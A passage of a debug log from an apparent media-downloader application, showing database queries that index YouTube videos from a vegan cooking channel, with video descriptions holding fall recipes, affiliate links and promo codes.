\u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\nVega Protein Powder\nhttps://amzn.to/4748ugm\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\nCanon M50 Camera\nhttps://amzn.to/3OySITz\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq\n\n\nTAGS\nwhat i eat in a day, vegan, plant based,fall vlog, fall day in my life, fall productive vlog, ultimate fall vlog, cozy fall vlog,day in my life, productive day in my life, vlog, lifestyle youtuber, cooking vlog, cook with me,early autumn vlog,homeade pumpkin spice latte, autumn vlog, cozy autumn vlog, vegan (truncated) 20:31:08.040 [debug] QUERY OK source="sources" db=0.8ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.042 [debug] QUERY OK source="media_items" db=1.9ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-27 00:00:00Z], 1] 20:31:08.044 [debug] QUERY OK source="media_items" db=1.6ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is what I eat in a day as a vegan! Realistic, cozy fall recipes that comforted my soul. Plus I take you through a day of resetting my home for fall, doing some cleaning and organizing and immersing myself in all the cozy fall vibes. I love fall so much!\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nBreakfast | Pumpkin Spice Latte & Pumpkin Spice Protein Smoothie\nTo make the PSL, you gotta make my PUMPKIN NOG! Blend all the following ingredients together:\n1¼ cup soy milk (oat, cashew or almond works too)\n¼ cup pumpkin puree\n¼ cup canned coconut milk\n3 medjool dates, pitted and soaked 15 mins in hot water\n1 tsp pumpkin pie spice\n½ tsp vanilla extract\nPinch of salt \n\nHeat in a saucepan until steaming, then pour over a shot of espresso and enjoy :)\n\nSMOOTHIE for 2\n1½ cups soy milk\n¾ cup pumpkin puree\n1 to 2 tsp pumpkin pie spice blend\n1½ tbsp each chia seeds ground flax\n1 scoop Cookies ’n Cream protein powder by Good Protein (promo code below!)\n\n\nLunch | Dr. Praeger’s Veggie Burger & Fries\n\nSnack | Roasted Pumpkin Seeds\nClean and dried pumpkin/squash seeds\nLittle bit of olive oil\nGarlic powder, salt, pepper to taste\n\nAir fry or bake for 20 to 30 mins at 350F until golden and extra crispy!\n\nDinner | Pumpkin Spice Cornbread & Kabocha Squash Dumpling Stew\nRECIPES COMING SOON! SUBSCRIBE AND STAY TUNED :)\n\n\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nMORE FALL RECIPES ⬇️\nHow toi Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\nVega Protein Powder\nhttps://amzn.to/4748ugm\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\nCanon M50 Camera\nhttps://amzn.to/3OySITz\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq\n\n\nTAGS\nwhat i eat in a day, vegan, plant based,fall vlog, fall day in my life, fall productive vlog, ultimate fall vlog, cozy fall vlog,day in my life, productive day in my life, vlog, lifestyle youtuber, cooking vlog, cook with me,early autumn vlog,homeade pumpkin spice latte, autumn vlog, cozy autumn vlog, vegan autumn recipes, vegan what I eat in a day, what I eat in a day vegan, gluten free vegan,gluten free recipes, cozy fall recipes, fall baking, pumpkin bread, cornbread, vegan cornbread, pumpkin spice, pumpkin spice everything,PSL, pumpkin spice smoothie, roasted pumpkin seeds, healthy fall recipes", "What I Eat in a Day | Fall Reset + Fall Vegan Recipes (Gluten-Free)", "90381a88-2ba8-4040-a177-bb538dfb7aa7", 1, [], false, "d360S-udzyU", "https://www.youtube.com/watch?v=d360S-udzyU", 264, "/downloads/downloads/alec/Steamy Vegan/2023-09-27 What I Eat in a Day | Fall Reset + Fall Vegan Recipes (Gluten-Free)/What I Eat in a Day | Fall Reset + Fall Vegan Recipes (Gluten-Free) [d360S-udzyU].NA", false, false, false, 1, ~U[2023-09-27 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This is what I eat in a day as a vegan! Realistic, cozy fall recipes that comforted my soul. Plus I take you through a day of resetting my home for fall, doing some cleaning and organizing and immersing myself in all the cozy fall vibes. I love fall so much!\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nBreakfast | Pumpkin Spice Latte & Pumpkin Spice Protein Smoothie\nTo make the PSL, you gotta make my PUMPKIN NOG! Blend all the following ingredients together:\n1¼ cup soy milk (oat, cashew or almond works too)\n¼ cup pumpkin puree\n¼ cup canned coconut milk\n3 medjool dates, pitted and soaked 15 mins in hot water\n1 tsp pumpkin pie spice\n½ tsp vanilla extract\nPinch of salt \n\nHeat in a saucepan until steaming, then pour over a shot of espresso and enjoy :)\n\nSMOOTHIE for 2\n1½ cups soy milk\n¾ cup pumpkin puree\n1 to 2 tsp pumpkin pie spice blend\n1½ tbsp each chia seeds ground flax\n1 scoop Cookies ’n Cream protein powder by Good Protein (promo code below!)\n\n\nLunch | Dr. Praeger’s Veggie Burger & Fries\n\nSnack | Roasted Pumpkin Seeds\nClean and dried pumpkin/squash seeds\nLittle bit of olive oil\nGarlic powder, salt, pepper to taste\n\nAir fry or bake for 20 to 30 mins at 350F until golden and extra crispy!\n\nDinner | Pumpkin Spice Cornbread & Kabocha Squash Dumpling Stew\nRECIPES COMING SOON! SUBSCRIBE AND STAY TUNED :)\n\n\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nMORE FALL RECIPES ⬇️\nHow toi Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00 (truncated) 20:31:08.045 [debug] QUERY OK source="sources" db=0.6ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.047 [debug] QUERY OK source="media_items" db=1.7ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-24 00:00:00Z], 1] 20:31:08.049 [debug] QUERY OK source="media_items" db=1.1ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this vegan and gluten free grocery haul I'll show you some of the cheat meal & junk food groceries I bought in Vancouver, Canada. 🇨🇦 While we try to eat a whole food plant based diet as often as possible, it's important to treat yourself every now and then to yummy comfort foods that make you happy! And let's be real, we all enjoy a night off from cooking and throwing something fun in the air fryer instead!\n\nI shopped at Nature's Fare Market and spent a total of $172 CAD ($127 USD), definitely not a cheap haul!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other GROCERY HAUL videos ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Gluten Free Grocery Haul! CHEAT MEAL & JUNK FOODS", "6b14a421-e57e-4ce4-b00e-e3bd4cd4c749", 1, [], false, "Oc0I5IEwB0o", "https://www.youtube.com/watch?v=Oc0I5IEwB0o", 265, "/downloads/downloads/alec/Steamy Vegan/2023-09-24 Vegan Gluten Free Grocery Haul! CHEAT MEAL & JUNK FOODS/Vegan Gluten Free Grocery Haul! CHEAT MEAL & JUNK FOODS [Oc0I5IEwB0o].NA", false, false, false, 1, ~U[2023-09-24 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this vegan and gluten free grocery haul I'll show you some of the cheat meal & junk food groceries I bought in Vancouver, Canada. 🇨🇦 While we try to eat a whole food plant based diet as often as possible, it's important to treat yourself every now and then to yummy comfort foods that make you happy! And let's be real, we all enjoy a night off from cooking and throwing something fun in the air fryer instead!\n\nI shopped at Nature's Fare Market and spent a total of $172 CAD ($127 USD), definitely not a cheap haul!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other GROCERY HAUL videos ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Gluten Free Grocery Haul! CHEAT MEAL & JUNK FOODS", 1, nil, false, "Oc0I5IEwB0o", "https://www.youtube.com/watch?v=Oc0I5IEwB0o", "/downloads/downloads/alec/Steamy Vegan/2023-09-24 Vegan Gluten Free Grocery Haul! CHEAT MEAL & JUNK FOODS/Vegan Gluten Free Grocery Haul! CHEAT MEAL & JUNK FOODS [Oc0I5IEwB0o].NA", false, ~U[2023-09-24 00:00:00Z]] 20:31:08.050 [debug] QUERY OK source="sources" db=0.5ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.053 [debug] QUERY OK source="media_items" db=2.2ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-20 00:00:00Z], 1] 20:31:08.055 [debug] QUERY OK source="media_items" db=1.9ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pumpkin spice season is here, and so is the season of ridiculously overpriced store-bought pumpkin purée! But don't worry, I've got a secret to share with you today – making your own is not only a breeze, but it'll save you some serious dough!\n\nWhy make your own pumpkin puree\n1. Better value than store-bought canned pumpkin purée. It's so expensive these days for a single can, up to $7 I’ve seen it! You can buy several pie pumpkins or squashes for that price and make several times more than a can.\n2. It tastes so much better than store-bought. \n3. It’s so easy to make and keep large batches on hand for an entire season. \n4. It’s very versatile so that you can use different kinds of pumpkins or squashes, or even sweet potatoes, to give you incredible flavour.\n\nMost canned pumpkin purées are a blend of several types of pumpkin anyway, so there’s no need to go searching all around for pie pumpkins if you can’t find them. Butternut squash, kabocha squash, Hubbard squash, and even sweet potatoes can be blended together to create an amazing, sweet tasting puree for all sorts of recipes!\n\nMORE FALL RECIPES ⬇️\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\nVega Protein Powder\nhttps://amzn.to/4748ugm\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\n\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\nCanon M50 Camera\nhttps://amzn.to/3OySITz\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq", "Homemade Pumpkin Puree! 🎃 Secret ingredient to all my recipes 🤫 🍂", "621893db-d0e1-405d-a6a9-6f8c5df5540a", 1, [], false, "knzuQZ58voc", "https://www.youtube.com/watch?v=knzuQZ58voc", 266, "/downloads/downloads/alec/Steamy Vegan/2023-09-20 Homemade Pumpkin Puree! 🎃 Secret ingredient to all my recipes 🤫 🍂/Homemade Pumpkin Puree! 🎃 Secret ingredient to all my recipes 🤫 🍂 [knzuQZ58voc].NA", false, false, false, 1, ~U[2023-09-20 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Pumpkin spice season is here, and so is the season of ridiculously overpriced store-bought pumpkin purée! But don't worry, I've got a secret to share with you today – making your own is not only a breeze, but it'll save you some serious dough!\n\nWhy make your own pumpkin puree\n1. Better value than store-bought canned pumpkin purée. It's so expensive these days for a single can, up to $7 I’ve seen it! You can buy several pie pumpkins or squashes for that price and make several times more than a can.\n2. It tastes so much better than store-bought. \n3. It’s so easy to make and keep large batches on hand for an entire season. \n4. It’s very versatile so that you can use different kinds of pumpkins or squashes, or even sweet potatoes, to give you incredible flavour.\n\nMost canned pumpkin purées are a blend of several types of pumpkin anyway, so there’s no need to go searching all around for pie pumpkins if you can’t find them. Butternut squash, kabocha squash, Hubbard squash, and even sweet potatoes can be blended together to create an amazing, sweet tasting puree for all sorts of recipes!\n\nMORE FALL RECIPES ⬇️\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\nVega Protein Powder\nhttps://amzn.to/4748ugm\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\n\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\nCanon M50 Camera\nhttps://amzn.to/3OySITz\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq", "Homemade Pumpkin Puree! 🎃 Secret ingredient to all my recipes 🤫 🍂", 1, nil, false, "knzuQZ58voc", "https://www.youtube.com/watch?v=knzuQZ58voc", "/downloads/downloads/alec/Steamy Vegan/2023-09-20 Homemade Pumpkin Puree! 🎃 Secret ingredient to all my recipes 🤫 🍂/Homemade Pumpkin Puree! 🎃 Secret ingredient to all my recipes 🤫 🍂 [knzuQZ58voc].NA", false, ~U[2023-09-20 00:00:00Z]] 20:31:08.056 [debug] QUERY OK source="sources" db=0.5ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.059 [debug] QUERY OK source="media_items" db=2.0ms queue=0.6ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-16 00:00:00Z], 1] 20:31:08.070 [debug] QUERY OK source="media_items" db=9.9ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = 